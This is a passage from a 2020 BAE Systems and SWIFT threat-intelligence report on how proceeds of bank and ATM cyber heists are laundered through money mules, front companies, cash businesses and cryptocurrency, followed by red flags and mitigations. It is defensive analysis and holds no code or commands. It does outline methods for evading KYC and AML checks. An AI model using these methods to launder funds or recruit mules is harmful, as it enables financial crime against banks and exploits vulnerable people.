SWIFT traffic, attested to their compliance with controls set out by the latest Customer Controls Security Framework, a set of security controls which serve as the cornerstone of CSP. In addition, banks have improved response security controls such as the ability to stop or recall fraudulent payment instructions where these are identified quickly enough. However, the lure of targeting banks to get ready access to cash remains prevalent, and attackers continue to develop their techniques. In recent years, many attacks have moved from targeting high-value payment systems to targeting ATM networks and related systems. While these may, on the face of it, seem to have a lower inherent value as any ATM inherently holds a limited amount of cash, in terms of successfully obtaining multi-million dollar sums of money across a number of attacks, this has to date proved to be a successful alternate route for attackers. But irrespective of the cyber-attack method, the challenge all criminals face after a successful cyber-attack is getting hold of cash or other liquid financial assets that are perceived as ‘clean’, i.e. where it is not possible to tell it is from the proceeds of crime. This is where the need for money laundering comes in. The money laundering and associated techniques described in this report are those considered relevant to large-scale cyber heists against banks’ high-value payment systems and ATM related systems, including back- office payment systems. Such cyber attacks involve being able to manipulate or subvert the correct operation of high-value payment systems or management systems controlling a number of ATMs. This paper has not specifically considered what happens to money stolen in other financial crime related attacks such as physical attacks against individual ATMs, card skimming and cloning, banking Trojans and malware, authorised push payment or business email compromise type attacks. However, the money laundering techniques and controls described are likely to also be relevant in many of these cases. Follow The Money 4 // 28 3 https://www.experian.com/blogs/ask-experian/cybercrime-the-1-5-trillion-problem/ 5 // 28 3. Money Laundering Overview In the strictest sense, money is laundered whenever a person or business deals in any way with another person or organisation’s benefits from crime. Traditionally, money laundering has been described as a process which takes place in three stages: placement, layering and integration: • Placement – Criminally derived funds are introduced into the financial system in the case of an ATM style attack, or, in the case of a cyber heist against a bank’s high value payment systems; placement covers the initial fraudulent movement of funds • Layering – Illicit funds are moved through the financial system in order to disguise their origin and ownership. This is the most substantive phase of the process • Integration – Laundered funds are re-introduced into the legitimate economy, or reinvested into the criminal enterprise Various methods underpin how funds are typically removed from a bank during a large-scale cyber-heist, as well as the money laundering techniques that aim to conceal their subsequent movement. There can also be significant overlap between the money laundering phases in reality. The following sections describe each of these four money laundering related phases in more detail, covering: • Preparatory activities • Placement • Layering • Integration Attack against a bank’s high-value payment systems Set up recipient accounts in receiving bank Avoid KYC checks Identify method for onward transfer of stolen funds, e.g. FX transfer to other mule accounts Attack against a bank’s ATM systems or ATM related infrastructure in a jurisdiction Recruit initial money mules to collect funds from ATMs Identify method for onward transfer of stolen funds, e.g. FX transfer to other mule accounts Activities performed prior to the attack being executed which are relevant to the ‘cash out’ process Criminally derived funds are introduced into the financial systems Illicit funds are moved through a series of transactions to disguise origin and ownership Laundered funds are re-introduced into the legitimate economy Typical Money Laundering Phases Placement Layering Integration Conduct heist and move stolen funds Preparatory money laundering activities Front company Cryptocurrency Re-invest in criminality Cash businesses Money-mules Cyber heist baesystems.com/SWIFT 3.1 Preparatory Activities For large-scale cyber heists to be successfully executed, attackers need to perform a number of steps in advance. Outside of those relevant to successfully conducting the cyber element of the heist, which are not the focus of this paper, money laundering steps the attackers need to complete include: • Setting up or gaining access to bank accounts into which stolen funds can be initially received, or in the case of ATM-related heists, the attackers need to recruit and train money-mules to take the stolen cash out of the ATMs • Recruiting money-mules to transfer the stolen funds out of those accounts Follow The Money 6 // 28 3.1.1 Account set up • Setting up accounts to be used in a cyber-heist is a key step as these accounts will be the destination of the funds after they have been stolen, also known as the ‘end-beneficiary’. There have been many instances where these accounts have been set up in good faith, believing that the account holders are genuine and of decent integrity, due to the use of false identification documents or by using legitimate identification documents from individuals who have been coerced by criminals to allow the account to be used. There have also been instances where existing accounts were used – for example where an individual who no-longer has a requirement for their valid account hands it over to someone else, rather than closing it. The establishment of these fraudulent accounts, by whichever method, might be facilitated by weak or ineffective policies and controls linked to the customer due diligence processes and also by lack of training of front-line staff. • In order to avoid suspicion, fraudulent accounts might be set up several months before the heist, and so are empty and unused. Assigning fake projects and companies to these fraudulent accounts serves the purpose of giving credibility as well as explaining why, at some point, they will be in receipt of large money transfers. In line with this, as an additional obfuscation technique, accounts linked to fake organisations may be set up to be used as a hub and collation point for stolen funds after they have been transferred to the initial fraudulent accounts. • The effectiveness of a financial institution’s Know Your Customer (KYC) and screening processes are also important factors – and is likely why certain institutions in certain jurisdictions are targeted for illicit activity. The ‘Know Your Customer’ process is a vital part of validating users - from simple name screening and undertaking background checks through to enhanced due diligence (EDD) with independent assurance provided by two person validation to provide greater level of scrutiny. If these processes are weak or ineffective, or if the staff is poorly trained, then this allows these checks to be ineffective. Furthermore, there have been cases where a complicit or coerced insider has helped to evade or reduce the scrutiny of compliance teams carrying out KYC and due diligence checks of new account openings. 7 // 28 baesystems.com/SWIFT Follow The Money 8 // 28 • For ATM cashouts, the nature of account set-up differs depending on the type of method used. • ATM FASTCash involves the fraudulent duplication of legitimate cards, which requires cyber-criminals to access customer records in order to create a duplicate card. • ATM cashouts involve an insider creating a phantom transfer of funds to accounts that are owned by recruited money-mules. In order to create a layer of obfuscation, fake identities are used for these accounts so that the mule’s identity is concealed. • ATM management cashouts that involve a cyber- intrusion which remotely controls ATMs do not require accounts to be set up to carry-out the heist. 3.1.2 Recruit money-mules • A common denominator that underpins cyber-heists is the essential function of the money-mule – irrespective of the diversity of the cyber-crime group, the execution of the heist, or the final destination of laundered funds. Their role seeks to provide the obfuscation in the chain between the initial fraud in the bank and the transfer of stolen funds to cyber-criminals. Accounts used for money-muling may be created by those complicit in the criminal activity or may belong to unsuspecting individuals tricked into allowing their account to be used for criminal purposes. These are the various actions that would qualify as a money-mule supporting cyber-heists: • Someone’s bank account being controlled and taken over by a cyber-criminal / selling control to a cyber- criminal. • Receiving funds into a bank account before onward transfer to a cyber-criminal. • Using a fake identity to open an account for the sole purpose of benefiting a cyber-criminal. • Re-shipping items purchased by a cyber-criminal using stolen banking details. • Collecting stolen funds via ATM cash outs. 9 // 28 • Cyber-criminals have become more creative with their methodologies for recruiting money-mules. Some cyber-criminals often dupe innocent victims into laundering money on their behalf with the promise of easy money by using seemingly legitimate job adverts, online posts, social media and other methods. This includes incorporating aspects like diversity and inclusion (D&I) into job adverts to encourage a person to believe the company is real, as well as creating fake management teams. Some job adverts appear to be targeted towards people based in countries that are not typical financial targets, (e.g. UK, US, and Australia). For cyber-criminals in Eastern Europe this recruitment technique serves as further obfuscation, due to international transfers increasing the complexity. • Many money-mule recruitment efforts focus on individuals, especially young adults including those seeking to fund higher education and adults recently out of work, who are likely to jump at the chance to apparently easily earn extra cash. Some examples of money-mule related job adverts are shown on the following page, indicating that in many cases, the money-mules are not strongly linked with the cyber-attackers. baesystems.com/SWIFT • Some cyber-criminals that are part of a large organised crime group are able to draw upon a cadre of associates for money-muling purposes. For nation-state cyber-groups which specialise in the ATM FASTCash technique, their links with various criminal groups in East Asia are utilised in order to recruit money-mules to travel to specific locations in order to withdraw cash from ATMs. 10 // 28 Follow The Money 11 // 28 baesystems.com/SWIFT 3.2 Placement Placement involves the initial movement of stolen funds into the financial system. This can be the initial account into which stolen funds are transferred, or in the case of large-scale ATM based heists, the method of converting the cash obtained in a local currency into a more transferable currency, such as USD$. 3.2.1 Use of Money-mules Money-mules serve as intermediaries for cyber- criminals and criminal organisations, where they act as a bridge between the exfiltration of stolen funds from a bank to transferring these funds to criminal benefactors. In this way, the money-mule is the essential first step in the placement of criminally derived funds into the financial system. The number of money-mules involved in placement activities for a large-scale cyber-heist varies but has often been seen to involve around 10 individuals. However, there are of course exceptions to this. For example, an attack against one bank which is considered to be linked to the Lazarus Group involved 12,000 ATM withdrawals being performed in approximately a two-hour timeframe across 28 countries, pointing to a large and organised group of money-mules being involved. It should also be noted that other money-mules will likely be used further along the money laundering chain, with multiple sets of mules being used to obfuscate the source of the stolen funds, and thus their total number may be much higher than those involved in the initial placement activity. Follow The Money 12 // 28 Money Mules Six East Asian males Two unknown males Arrested 31/08/2019 – 01/09 2019 S. Asia bank 1 S. Asia bank 2 S. Asia bank 3 S. Asia bank 4 S. Asia bank 5 S. Asia bank 6 Cards Used ATM 1 ATM 2 ATM 3 ATMs used in South Asia jurisdiction >$200,000 (in rupees) withdrawn Rupees converted to ~40,000USD S. Asia Money Exchange 1 S. Asia Money Exchange 2 Employee Employee Employee Arrested 02/09/2019 Arrested 02/09/2019 Arrested 02/09/2019 >$20,000 US Dollars converted from rupees by unknown male Police Seizure >$160,000 (in rupees) Euro US Dollar HK Dollar Yuan 132 duplicate VISA cards 17 original VISA cards 6 mobile phones Card printing machine Laptop Datacard The following schematic provides an overview of a real-life ATM focused cyber-heist, outlining the number of money-mules involved and the initial mechanisms used to start the money laundering process. 13 // 28 The following schematic provides an overview of another real-life ATM focused cyber-heist, outlining the timeline of the attack and details on the money-mules involved in the initial placement. BAE SYSTEMS PROPRIETARY BAE SYSTEMS PROPRIETARY 1 Copyright © 2020 BAE Systems: All Rights Reserved | Two Eastern European males enter jurisdiction in the Balkans Fri 6 December, 2019 Two Eastern European males leave jurisdiction in the Balkans Sat 10 December, 2019 Same two Eastern European males enter jurisdiction in the Balkans with an accomplice Fri 31 January, 2020 23 ATMs in the Balkan jurisdiction emptied over 53 hours. Quantity of Convertible Marka (KM) stolen. Fri 31 Jan – Sun 2 Feb, 2020 Two original Eastern European males stopped and detained by local law enforcement, who inform the bank. The accomplice escapes. Sun 2 February, 2020 A quantity of Convertible Marka (KM) is found on the two detained males. However, the majority of the amount stolen is unaccounted for. Sun 2 February, 2020 The accomplice arrives at a Central European jurisdiction, and to date is still at large. Mon 3 February, 2020 Law enforcement claim the group could be larger and that the total amount stolen in Convertible Marka (KM) is almost 3 times that declared during the heist of 31 Jan – 2 Feb 2020. Mon 3 February, 2020 Bank in the Balkans seen beaconing to Command and Control server of a cyber criminal group Mid-September, 2019 Personal details of up to 60 million credit card holders leaked and sold on the black market Thu 3 October, 2019 baesystems.com/SWIFT 3.2.2 Risk of money muling Despite being financially rewarded for their part in carrying-out a successful cyber- heist, the intrinsic risk associated with a money-mule is significant. In the event of an investigation by law enforcement and the authorities after a heist, the actions of the money mule are at the front line of the heist. Issues during the money-mule stage have led to the ultimate arrest of cyber-group leaders; however, it can often be the case that money-mules are the scapegoats, punished for their involvement, whereas the rest of the cyber group remain at large4. The process of money-muling marks the most physical aspect of an ATM related cyber heist, which is why it might be considered to be the weakest link in a cyber- heist, as well as underlining the risk associated with money-muling at an ATM. CCTV cameras that are often present at ATM locations offer the chance to identify and record suspicious behaviour and capture facial features that could in some circumstances be cross referenced with law enforcement or border control data. The methodologies that underpin the various ATM cashout techniques carry certain risks. The lack of a card and pin entry associated with the ATM management technique has been noticed as suspicious by law enforcement, and has led to the arrest of money-mules. Similarly, the speedy draining of cash from ATMs, which were targeted by a FASTCash theft was identified as unusual by banking staff and led to the subsequent arrest of money-mules. 3.2.3 Money-muling interventions Many initiatives that look to mitigate the risk of successful cyber-heists focus on money-mules. At the end of 2019, law enforcement authorities from 31 countries, supported by Europol, Eurojust and the European Banking Federation (EBF), came together to support the fifth coordinated global action against money muling, with the European Money Mule Action5. In the period between September and November 2019, this resulted in the identification of 3833 money-mules alongside 386 money-mule recruiters, of which 228 were arrested. More than 650 banks, 17 bank associations and other financial institutions helped to report 7520 fraudulent money-mule transactions, preventing a total loss of €12.9 million. Follow The Money 14 // 28 4 https://www.nationalcrimeagency.gov.uk/news/arrests-in-belfast-and-london-in-cyber-heist-money-laundering-investigation 5 https://www.europol.europa.eu/newsroom/news/228-arrests-and-over-3800-money-mules-identified-in-global-action-against- money-laundering 15 // 28 “The European Money Mule Action (EMMA) shows how a close public- private partnership between law enforcement, judicial authorities and the banking sector is essential to effectively tackle the illegal activity of money muling.” Europol-Eurojust-European Banking Federation (EBF) 3.3 Layering Layering is the most substantive phase of the money laundering process, involving multiple steps to conceal the origin and ownership of the stolen funds. 3.3.1 What happens after the funds are with the initial money-mule? Monies withdrawn from ATMs in cyber-heists tend to be immediately exchanged into US Dollars at money exchanges. This step in the process could suggest complicity by employees at money exchanges to support a money laundering process, albeit via a bribe, or it could indicate negligence. Although in some cases the initial money-mules have been caught, in others where the heist has been successful, e.g. after the money-mule has withdrawn funds from an ATM, they might be passed onto an intermediary who, in turn, passes the stolen funds to the cyber-criminal. However, in some instances, especially after cyber-heists relating to nation state actors like the Lazarus Group, it might be the case that the fate of these stolen funds is to be channelled via other layering techniques in order to further obfuscate the path of the stolen funds. Out of all attempted Lazarus heists, a subset showed successful fraudulent transactions with a majority of transfers being sent to East Asia, where there are numerous linked front companies. baesystems.com/SWIFT Follow The Money 16 // 28 3.3.2 Obfuscation of funds via front companies The setting up of front companies can be used by some jurisdictions as a method to circumvent the adverse impact of imposed sanctions and to enable covert access to the global financial system. It also facilitates the potential for obfuscating the flow of money and concealing various techniques for money laundering. Front companies are corporations that act as a ‘cover’ for the laundering of illicit funds and typically lack significant legitimate assets. They either do not maintain active business operations, or, in some instances, the front company can have a legitimate purpose, which is used as an effective way of concealing the true ownership of businesses and accounts, as well as associated assets and parties. In this way, front companies can be an effective entity through which illicit transactions can be circulated and consequently obfuscated. Front companies are often set up in jurisdictions that are known for strong banking secrecy laws or for poor enforcement of money laundering regulations, as these are preferable for individuals with illicit intentions. 3.3.3 Cash businesses Cash intense businesses can refer to high end luxury goods markets, such as the gold market, and the diamond and jewels industries as well as more generic businesses like betting shops, casinos, or other services. As these industries transact mainly in cash, they can offer a mechanism for laundering the proceeds of a crime. Casinos are significant cash businesses and can be used by a launderer to clean cash by converting it into chips at a casino, and then exchange it back into cash to deposit at a bank, and have a cheque from the casino showing a legitimate transaction. The fact that in some jurisdictions names are unregistered and winnings unreported have made casinos an attractive method for laundering stolen funds. 17 // 28 3.3.4 Use of financial representatives Front companies registered in East Asia are considered to operate on behalf of the government of a FATF high risk jurisdiction. In one instance, a front company was accused of laundering more than USD$100 million for the sanctioned state-run bank of a FATF high risk jurisdiction. Financial representatives using East Asian aliases, or in close liaison with facilitators in East Asia, are responsible for setting up and operating front companies and bank accounts across the East Asia region. These front companies and relationships offer a method of laundering the proceeds from a cyber-heist in order to expedite and obfuscate the process of stolen funds being used for nefarious purposes, such as purchasing equipment to bypass sanctions. In one example front companies import natural resources without making any prepayment. These organisations resell the natural resource to customers across Asia, retaining the US Dollar proceeds. Rather than sending funds to the FATF high risk jurisdiction, the following obfuscation stages occur: • The payments received by this organisation from customers are processed via banks in East Asia and diced up into smaller outflows (minus a fee for facilitating the sale). This forms part of an intricate layering scheme directed to front companies and shipping or trade businesses typically registered in jurisdictions in East Asia. Financial representatives are key to establishing the front companies and making the transactions appear legitimate. • The FATF high risk jurisdiction sends instructions to the front company of items it would like to purchase. The front companies then use the received payments to purchase and ship commodities. Items purchased can range from bulk commodities, luxury items, electronic items as well as equipment. It is assessed that items used could be smuggled with other non-suspicious shipments. baesystems.com/SWIFT Follow The Money 18 // 28 3.3.5 Red flags Red flags relating to front companies that are involved in illicit financial activity are: • Financial activity by a front company that has no relevance to its stated area of business • Evidence of shared entities between front companies, including addresses, phones numbers, managers and owners • Front companies that lack obvious public activity or presence • Business types cited for front companies involved in illicit activity are often textile, garment, fishery, and seafood businesses. These red flags could assist individuals in financial institutions working on areas of compliance like due diligence and KYC screening to better detect front companies used for illicit purposes. 3.3.6 Facilitating jurisdictions Regulations and conditions that govern company registration and reporting requirements in East Asia make the region an attractive place to do business, as well as vulnerable to being abused. In some of the region’s jurisdictions, a company’s registered office must be there and it is permitted to share an office with their company secretary, but neither technically has to operate out of that address. This loophole, which would typically be considered as a red flag for money laundering investigators, underpins how nefarious activity is facilitated, since it has enabled the creation of vast numbers of front companies. This explains why this hub has been attractive for heavily sanctioned jurisdictions seeking to access international trading markets and to facilitate money laundering. East Asia can also serve as an effective gateway that offers sanctioned jurisdictions access to US Dollars, via clearing services offered from some jurisdictions, potentially providing a route that might enable oversight for payments between banks using US Dollars to be circumvented. 3.3.7 Financial transaction recipients “The East Asian international financial hub has company formation and registration rules that we think need to be stronger…It is important it has mechanisms and regulations prohibiting activities that facilitate financial transactions with a FATF high risk jurisdiction.” U.S. Treasury’s Under Secretary for Terrorism and Financial Intelligence 19 // 28 Asia-Pacific Europe - Non-Euro North America Africa Out of all attempted heists attributed to the Lazarus Group, a subset of cases showed successful fraudulent transactions. The graph below shows the locations of the beneficiary banks in successful cases in 2018. The majority of transfers are sent to East Asia, where mule accounts are accessed. The following details regions of recipient institutions in 2018, based on SWIFT data6. 3.4 Integration The means and methods by which cyber-criminals choose to convert stolen funds into an usable end product or asset can be a useful barometer of the strategic professionalism and experience of the cyber-attack group. It can also help the process through which law enforcement agencies might close in on the group. 3.4.1 Cash-out conundrum The cash out process opted for by cyber-criminals (including those involved in precursor steps, money-mules, operating front companies, etc.) can reveal a strong correlation between the extravagant ways stolen funds are spent, and the professionalism of the criminal. Operations that were early in a cyber-criminal’s history or were a one-off occurrence reveal an immediacy in how stolen funds are used – be it to clear a pressing debt or for materialistic acquisition. Such suspicious behaviour could be the first clue in linking them to the heist, which could ultimately start a trail that leads to members of the cyber-group being identified. 6 https://www.virusbulletin.com/conference/vb2019/abstracts/art-cashout-evolution-attacks-payment-systems baesystems.com/SWIFT Follow The Money 20 // 28 3.4.2 Integration of funds: cyber-criminals Some cyber-attack groups have been seen to make many extravagant purchases, possibly borne out of inexperience, as it draws the attention of law enforcement agencies and often leads to the arrest of the cyber-criminals. An inability to use the funds more strategically with less ostentatious purchases is often their undoing. In other cases, the methods chosen to cash-out the proceeds of a cyber-heist illustrate greater experience and a strategic approach driven by wanting to maintain a low profile. Property and jewellery are investments that are likely to hold their value and potentially less likely to attract the attention of law enforcement. 3.4.3 Integration of funds: nation state actors The independence and freedoms enjoyed by criminal cyber-groups are not shared by nation state cyber-groups. Far from their actions leading to materialistic acquisition and personal possessions, the purpose of these cyber actors is to fulfil the demands and wishes of the regime. 3.4.4 Reinvesting in criminality As a final stage of money laundering, cyber-criminals might seek to integrate the proceeds of a cyber-heist by reinvesting in crime, especially in the illegal drugs market. Over a third of organised crime groups in Europe, including cyber-criminals, are directly involved in the production or trafficking of illegal drugs. Cyber-criminals have been known to operate websites, which facilitate the sale of illegal drugs, firearms, malicious software, hacking tools, stolen financial information, payment cards and other illegal counterfeit goods on a number of dark web marketplaces. In some instances, this activity can lead to kickback payments in bitcoin that is equivalent to several million USD$. 3.4.5 Cryptocurrency and its growing appeal Identified cases of laundering through cryptocurrencies remain relatively small compared to the volumes of cash laundered through traditional methods. However, in one major case, a significant cyber-crime group is estimated to have converted stolen funds obtained from ATM cashouts into cryptocurrency. The raft of alternative cryptocurrencies that offer greater anonymity, as well as services like mixers and tumblers that help obscure the source of funds by blending potentially identifiable cryptocurrency funds with large amounts of other funds, could boost the appeal of cryptocurrency for nefarious purposes. 21 // 28 In one case that resulted in arrest and prosecution, authorities found 15,000 bitcoins valued at USD$109 million, two sports cars and jewellery worth USD$557,000 at the house of the group leader. The group was found to operate in a truly international manner: the bitcoin farm where the group mined bitcoin in order to launder the stolen funds from the heists was located in an industrial building in East Asia, while many of the group arrested originated from Eastern Europe and the leader enjoyed the benefits of the stolen funds in Western Europe. For heavily sanctioned territories, like a FATF high risk jurisdiction whose modus operandi focusses on raising funds with minimal associated risk, cryptocurrency offers a different income stream to targeting banks and financial institutions. It has been shown how the Lazarus Group have harnessed East Asian facilitators7 in order to launder funds after a heist at a cryptocurrency exchange, using techniques that are similar to that described for heists from banks. The following summarises the process from the point of execution of the cyber heist: • Lazarus Group steal funds in cryptocurrency from an exchange and stolen cryptocurrency is sent to multiple exchanges as a layering technique. • East Asian facilitators, working on behalf of the Lazarus Group and the regime, receive a portion of the stolen funds. • The East Asian facilitators transfer the cryptocurrency across addresses they hold, in order to further obfuscate the origin of the funds. • East Asian facilitators move a portion of the received funds through newly added bank accounts that are linked to their exchange account – this enables the conversion from cryptocurrency into fiat currency. Other stolen funds might be transferred in Bitcoin into prepaid gift cards, which can be used at other exchanges to purchase additional Bitcoin. Further insight into the money laundering methods used by the Lazarus Group is offered by activity after a cyber-theft at a cryptocurrency exchange in June 20188. This resulted in the theft of USD$30 million in various crypto-assets. Subsequently, almost 2,000 Bitcoin was moved into a cryptocurrency exchange in Eastern Europe, over a 4 day period, involving 68 transactions. It is assessed that such a painstaking, strategic pattern of transactions is consistent with a desire to circumvent an exchange’s anti money-laundering (AML) controls, including red flags associated with transaction limits. 7 https://home.treasury.gov/news/press-releases/sm924 8 https://rusi.org/publication/occasional-papers/closing-crypto-gap-guidance-countering-north-korean-cryptocurrency baesystems.com/SWIFT Follow The Money 22 // 28 3.4.6 Prepaid cryptocurrency cards Cyber-criminals might seek to use cryptocurrency as a method for obfuscating and laundering the funds stolen during a cyber-heist, before making various purchases in order to integrate the funds. In this instance, cyber-criminals might launder the stolen funds at a bitcoin farm, before using financial platforms to load prepaid cards with bitcoin. Prepaid cryptocurrency cards can facilitate the reversion of cryptocurrency back into fiat currency in small amounts. This technique is enabled by a loophole so when the original financial institution issues the card, it does so in conjunction with the card issuer’s partner – this partner company receive and convert the funds from cryptocurrency into fiat currency. The stolen money from several cyber-heists has in some cases been seen to be laundered via cryptocurrencies, using prepaid cards that are linked to cryptocurrency wallets. Financial platforms in Europe and the UK have been used to load prepaid cards with bitcoin, which were subsequently used to purchase jewellery, cars and property with stolen funds – those assets may sometimes then be subsequently sold, as a further money laundering step. 3.4.7 Converting cryptocurrency into tangible assets An emergence of online marketplaces could offer effective methods for converting cryptocurrencies into tangible assets that can be held anonymously, or be sold as an extra step of laundering the proceeds of a cyber-heist. There are dedicated sites that facilitate the purchase of high-end land and property assets across the world, including luxury penthouses and tropical islands, as well as watches, jewellery, gold bars, and fine art. The concern for the financial system is that these digital transactions are conducted in a peer-to-peer manner that circumvents the checks and processes by banks, and often require only an e-mail address to make the purchase. This means that funds used to make a purchase that have been acquired by criminal means can be kept concealed. 23 // 28 4. Mitigation of money laundering risks 4.1 Information sharing technologies A central initiative in empowering banks to be better able to detect illicit activity refers to them having more visibility of a greater pool of data. This is not only with regards to enhancing public-private sharing initiatives that foster better timely exchanges between financial institutions and law enforcement agencies, but also between financial institutions. In 2017, SWIFT created a global information sharing initiative, establishing a dedicated Customer Security Intelligence (CSI) team to investigate cyber incidents experienced by its customers and introduced a ‘SWIFT ISAC’ information sharing portal to share threat intelligence across the SWIFT member community. Without amendments to legal and regulatory frameworks to enable banks to embrace advances in technology and data science to facilitate the safe sharing of AML information, identifying illicit behaviour will remain in their blind-spot until it’s too late. The development of public-private partnerships to aid in the sharing of information between financial institutions and law enforcement has been mainly successful. There are also many technologies for enhancing information sharing between banks, including harnessing machine learning to enrich and make transaction and account monitoring programs more powerful and efficient. One approach that has been investigated by several banks is the use of Privacy Enhancing Technology, including homomorphic encryption, as a method of allowing queries to be run by one organisation on encrypted or open data sets held by other organisations in a privacy- enhancing manner to protect the nature of the queries being made. 4.2 Augmented sharing of risk factors pertaining to FATF high risk jurisdiction A FATF high risk jurisdiction which conducts illicit practises via front companies in East Asia, in order to evade sanctions and launder monies, has been the subject of thorough investigations. However, there is a need to distil and cascade the key findings from such investigations across the international financial system. This will enable institutions to be more agile in identifying transactions that might relate to nefarious activity linked to a FATF high risk jurisdiction and trigger the need for enhanced due diligence. These refer to the presence of front companies in East Asia and the associated red flags that should alert suspicion. And given the activity of some diplomats from a FATF high risk jurisdiction to use accounts in the names of family members to evade sanctions and assist money laundering practises, these names could be shared with financial institutions to screen against as part of KYC and enhanced due diligence processes, as long as it is permitted by data protection and legal frameworks in various jurisdictions. Similarly, augmented sharing of the red flags / situational circumstances that led to the successful arrest of individuals involved in the laundering stages of a cyber-heist could greatly increase awareness and agility in financial institutions and law enforcement agencies across various jurisdictions, which could ultimately lead to a reduction in vulnerabilities. Standard setting organisations, as well as regional Fraud Intelligence Units, could be effective conduits for such risk mitigating information sharing. baesystems.com/SWIFT Follow The Money 24 // 28 4.3 Money-Mule initiatives The essential role of the money-mule in facilitating successful cyber-heists and enabling criminals to separate themselves from the fraud and the money laundering stages makes it an obvious focus area for risk mitigating initiatives. Numerous government, policing and industry initiatives have been launched, including: • A series of coordinated actions by Europol’s Cybercrime Centre (EC3), the Joint Cybercrime Action Taskforce (J-CAT), Eurojust, and the European Banking Federation have supported the European Money- mule Action initiative. • Cifas, the UK’s fraud prevention service have launched a joint campaign with Financial Fraud Action UK (FFA UK), which fights financial fraud for the UK payments industry, called the Don’t Be Fooled campaign. This aims to deter young people – in particular students – from becoming money-mules. • In December 2019, the U.S. DOJ and federal, state and international law enforcement partners announced a concentrated effort across the country and around the world to halt money-mule activity and shut down the enterprises that exploit the most vulnerable in society. The initiative aims to end the conduct of money-mules, as well as execute search warrants to secure evidence from money-mules who knowingly aided and abetted fraud schemes. The success of funds-in-flight monitoring systems such as the Mule Insights Tactical Solution9, that looks to augment the tracing of funds that are moved through the financial system, as well as initiatives like the European Money Mule Action that aims to identify and arrest mules, as well as engage with those most vulnerable to becoming a mule will be vital in preventing and deterring their viability. However, these initiatives will not address the risk posed by the rogue insider, who opens a bank account for the benefit of a cyber-criminal using a fake identity. This risk remains and is dependent on local regulators ensuring standards are maintained across financial institutions, as well as individual financial institutions regularly checking the integrity of employees’ work and preventing accounts being set-up that are able to evade proper KYC processes and due-diligence screening. 9 http://www.fasterpayments.org.uk/press-release/new-anti-money-laundering- technology-sees-uk-fraud-rings-frozen 25 // 28 4.4 Compliance and reporting enhancements There has been a tendency for cyber-heists to occur in jurisdictions where regulations are weaker, and there is a requirement for global standard setting bodies to do more in removing the platform for potential corruption. It is encouraging that some regulators in East Asia have set up a Fraud and Money Laundering Intelligence Taskforce in order to enhance the detection, prevention and disruption of money laundering. Other necessary requirements include tightening customer due diligence measures across financial institutions, to include the identification and verification of customers and the beneficial owner, as well as clarifying the purpose and intended nature of the business relationship. Enhancing reporting channels so that institutions can register their suspicions of illicit activity to a trusted and competent authority might also help to visualise networks of obfuscation and money laundering and identify criminal activity. 4.5 Insufficient cyber security A pervasive issue across financial institutions is a reliance on legacy systems and processes. Often they have been spliced together through mergers, leaving them vulnerable to cyber-threat actors. Some cyber-security experts believe some banks are not investing smartly in maintaining systems and processes. Instead, they tend to focus on costly, complex, perimeter and device endpoint solutions, rather than focusing on investing in data centric security around main business assets and detecting abuse and intrusion by looking at the data and application layer. Financial institutions will continue to be vulnerable if they fail to identify and remediate network and application vulnerabilities before criminals have a chance to exploit them. Similarly, regular and updated staff awareness courses that help employees understand and spot risks relating to spear-phishing are simple initiatives that could pay dividends. For their part, augmented communication by regulators of usable cyber threat information that addresses security incident reports and systemic deficiencies could bolster cyber-security awareness across the financial sector. “For too long, cybercriminals have exploited an international divergence in policy and legislation. I think we’re now starting to see people coming together and understanding how to pool investigations together.” Head of Europol’s European Cybercrime Centre baesystems.com/SWIFT Follow The Money 26 // 28 5. Conclusion Large-scale cyber heist attempts are expected to continue and to evolve – the attackers are focused on going after large-scale payouts and will continue to mount attacks to achieve their aims. In addition, the desire to disrupt and destabilise the financial system, as opposed to just stealing funds should not be overlooked as an ongoing risk. Whereas many financial institutions are likely to be able to recover from just a financial theft, the distraction and destructive components of some techniques deployed by cyber-actors during a cyber heist are likely to have far greater operational impact. This can cost more to correct, as well as lead to a prolonged period of downtime for the financial institution, significantly impacting their customers and the institution’s reputation. Many cyber heists will continue to be detected and stopped, especially as financial institutions continue to improve their controls. However, financial institutions also need to ensure they don’t become complacent. Threat actors have shown they will persist to seek to find ways around controls, including collaborating between groups where combining their skills will provide the desired reward for each threat actor. Ultimately, some large-scale cyber heist attacks will unfortunately continue to be successful. Therefore, as money laundering is essential to a threat group realising the benefits of a successful large-scale cyber heist, a focus on seeking to disrupt criminal activity throughout the money laundering process should continue. Threat groups will continue to collaborate throughout the money laundering lifecycle, leveraging the global criminal skillsets available and the willingness of many people to be tempted by the lure of an apparent quick and easy payday. Particular focus therefore should apply to the money-muling activities and also to the use of front companies. Collaboration will be key in these areas, both inter-organisational, within jurisdictions and internationally. In addition, awareness of new money laundering techniques, such as those involving cryptocurrency, will be key to staying ahead of the challenge of reducing the opportunities for threat groups to benefit from committing high-value cyber heists. 27 // 28 baesystems.com/SWIFT The role of the money-mule, in all of its guises can be seen as essential in breaking the chain between the initial fraud and laundering the stolen funds. Copyright © BAE Systems plc 2020. All rights reserved. BAE SYSTEMS, the BAE SYSTEMS Logo and the product names referenced herein are trademarks of BAE Systems plc. BAE Systems Applied Intelligence Limited registered in England & Wales (No.1337451) with its registered office at Surrey Research Park, Guildford, England, GU2 7RQ. No part of this document may be copied, reproduced, adapted or redistributed in any form or by any means without the express prior written consent of BAE Systems Applied Intelligence. twitter.com/baesystems_ai linkedin.com/company/baesystemsai BAE Systems, Surrey Research Park, Guildford, Surrey, GU2 7RQ, UK E: learn@baesystems.com | W: baesystems.com/SWIFT About BAE Systems Applied Intelligence At BAE Systems Applied Intelligence, we help protect and enable organisations in the face of today’s digital threats. With our track record for being the trusted partner of governments, we’re uniquely placed to help financial services institutions counter economic crime and fraud. We have a deep knowledge of the threat landscape and help over 200 financial institutions, including more than a third of the global top 100 banks, to mitigate risk. Our leading fraud and financial crime management solutions, combined with our experience and processes, help financial institutions play their role in foiling the criminal economy, while also embracing digital transformation. We employ over 3,500 people across 17 countries in the Americas, APAC, UK and EMEA. Global Headquarters BAE Systems Surrey Research Park Guildford Surrey GU2 7RQ United Kingdom T: +44 (0) 1483 816000 BAE Systems 8000 Towers Crescent Drive 13th Floor Vienna, VA 22182 USA T: +1 720 696 9830 BAE Systems 19, Boulevard Malesherbes 75008 Paris France T: +33 (0) 1 55 27 37 37 BAE Systems Mainzer Landstrasse 50 60325 Frankfurt am Main Germany T: +49 (0) 69 244 330 040 BAE Systems Level 12 20 Bridge Street Sydney NSW 2000 Australia T: +612 9240 4600 BAE Systems 1 Raffles Place #42-01, Tower 1 Singapore 048616 Singapore T: +65 6499 5000
pdf
